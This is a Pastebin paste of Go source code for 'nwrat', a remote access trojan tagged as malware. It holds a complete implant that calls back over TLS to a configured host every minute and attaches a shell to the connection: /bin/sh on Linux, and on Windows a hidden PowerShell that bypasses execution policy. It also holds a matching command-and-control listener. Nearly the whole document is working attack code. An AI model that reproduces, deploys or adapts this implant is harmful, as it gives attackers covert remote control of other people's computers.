Advertisement
FlyFar

nwrat.go

Jan 24th, 2024
656
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 4.26 KB | Cybersecurity | 0 0
  1. // Program NWRat is a simple implant
  2. package main
  3.  
  4. /*
  5.  * nwrat.go
  6.  * Rat which calls back over TLS
  7.  * By J. Stuart McMurray
  8.  * Created 20200720
  9.  * Last Modified 20200720
  10.  */
  11.  
  12. import (
  13.     "crypto/tls"
  14.     "flag"
  15.     "fmt"
  16.     "io"
  17.     "log"
  18.     "net"
  19.     "os"
  20.     "os/exec"
  21.     "runtime"
  22.     "sync"
  23.     "time"
  24. )
  25.  
  26. /* Implant settings.  These may be set at compile-time. */
  27. var (
  28.     callbackInterval = "1m"
  29.     callbackAddr     = "example.com:443"
  30.  
  31.     implantDebug = "" /* Not empty for verbose implant messages */
  32. )
  33.  
  34. func main() {
  35.     var (
  36.         listen = flag.String(
  37.             "listen",
  38.             "",
  39.             "Callback-catching listen `address`",
  40.         )
  41.         cert = flag.String(
  42.             "cert",
  43.             "cert.pem",
  44.             "TLS `certificate` for use with -listen",
  45.         )
  46.         key = flag.String(
  47.             "key",
  48.             "key.pem",
  49.             "TLS `key` for use with -listen",
  50.         )
  51.     )
  52.     flag.Usage = func() {
  53.         fmt.Fprintf(
  54.             os.Stderr,
  55.             `Usage: %v [-listen address [options]]
  56.            
  57. With no arguments, functions as an implant and attempts to make a TLS
  58. connection to the configured domain and port every so often.
  59.  
  60. With -listen, listens for a connection from the implant.
  61.  
  62. Options:
  63. `,
  64.             os.Args[0],
  65.         )
  66.         flag.PrintDefaults()
  67.     }
  68.     flag.Parse()
  69.  
  70.     if "" != *listen {
  71.         doC2(*listen, *cert, *key)
  72.     } else {
  73.         doImplant()
  74.     }
  75. }
  76.  
  77. /* debug prints a printfish message if implantDebug is not the empty string */
  78. func debugf(f string, a ...interface{}) {
  79.     if "" != implantDebug {
  80.         log.Printf(f, a...)
  81.     }
  82. }
  83.  
  84. /* doImplant attempts to connect back to the configured address every so often
  85. and if it gets a connection starts a shell. */
  86. func doImplant() {
  87.     /* Parse the callback interval */
  88.     st, err := time.ParseDuration(callbackInterval)
  89.     if nil != err {
  90.         /* You did test it, right? */
  91.         panic(err)
  92.     }
  93.  
  94.     /* Make sure we have a host and port */
  95.     h, p, err := net.SplitHostPort(callbackAddr)
  96.     if "" == h || "" == p {
  97.         /* You did test it, right? */
  98.         log.Fatalf("Invalid callback address %s", callbackAddr)
  99.     }
  100.     if nil != err {
  101.         panic(err)
  102.     }
  103.  
  104.     /* TLS Config */
  105.     conf := &tls.Config{
  106.         ServerName: h,
  107.     }
  108.  
  109.     /* Try to call back every so often */
  110.     for {
  111.         go tryImplant(conf)
  112.         time.Sleep(st)
  113.     }
  114. }
  115.  
  116. /* tryImplant tries to connect back and spawn a shell */
  117. func tryImplant(conf *tls.Config) {
  118.     /* Try to connect back. */
  119.     c, err := tls.Dial("tcp", callbackAddr, conf)
  120.     if nil != err {
  121.         debugf("Dial: %s", err)
  122.         return
  123.     }
  124.     defer c.Close()
  125.  
  126.     /* Upgrade to a shell */
  127.     var s *exec.Cmd
  128.     switch os := runtime.GOOS; os {
  129.     case "linux":
  130.         s = exec.Command("/bin/sh", "-p")
  131.  
  132.     case "windows":
  133.         s = exec.Command(
  134.             "powershell.exe",
  135.             "-noprofile",
  136.             "-noninteractive",
  137.             "-executionpolicy", "bypass",
  138.             "-windowstyle", "hidden",
  139.         )
  140.     }
  141.  
  142.     s.Stdin = c
  143.     s.Stdout = c
  144.     s.Stderr = c
  145.     if err := s.Run(); nil != err {
  146.         debugf("Shell: %s", err)
  147.     }
  148. }
  149.  
  150. /* doC2 listens for the implant */
  151. func doC2(addr, certFile, keyFile string) {
  152.     /* Set up the TLS config */
  153.     var config tls.Config
  154.     config.Certificates = make([]tls.Certificate, 1)
  155.     var err error
  156.     config.Certificates[0], err = tls.LoadX509KeyPair(certFile, keyFile)
  157.     if nil != err {
  158.         log.Fatalf(
  159.             "Loading TLS cert and key from %s and %s: %s",
  160.             certFile,
  161.             keyFile,
  162.             err,
  163.         )
  164.     }
  165.  
  166.     /* Get a connection */
  167.     l, err := tls.Listen("tcp", addr, &config)
  168.     if nil != err {
  169.         log.Fatalf("Listening on %s: %s", addr, err)
  170.     }
  171.     log.Printf("Listening on %s", l.Addr())
  172.     c, err := l.Accept()
  173.     if nil != err {
  174.         log.Fatalf("Accepting a connection to %s: %s", l.Addr(), err)
  175.     }
  176.     start := time.Now()
  177.     l.Close()
  178.     defer c.Close()
  179.     log.Printf("Connection %s -> %s", c.RemoteAddr(), c.LocalAddr())
  180.  
  181.     /* Proxy stdio */
  182.     var wg sync.WaitGroup
  183.     wg.Add(2)
  184.     go func() {
  185.         defer wg.Done()
  186.         n, err := io.Copy(c, os.Stdin)
  187.         if nil != err {
  188.             log.Printf(
  189.                 "Error after sending %d bytes to implant: %s",
  190.                 n,
  191.                 err,
  192.             )
  193.         } else {
  194.             log.Printf("Sent %d bytes to implant", n)
  195.         }
  196.     }()
  197.     go func() {
  198.         defer wg.Done()
  199.         n, err := io.Copy(os.Stdout, c)
  200.         if nil != err {
  201.             log.Printf(
  202.                 "Error after receiving %d bytes from "+
  203.                     "implant: %s",
  204.                 n,
  205.                 err,
  206.             )
  207.         } else {
  208.             log.Printf("Received %d bytes from implant", n)
  209.         }
  210.     }()
  211.  
  212.     wg.Wait()
  213.     log.Printf(
  214.         "Connection terminated after %s",
  215.         time.Since(start).Round(time.Millisecond),
  216.     )
  217. }
Tags: malware RAT go
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement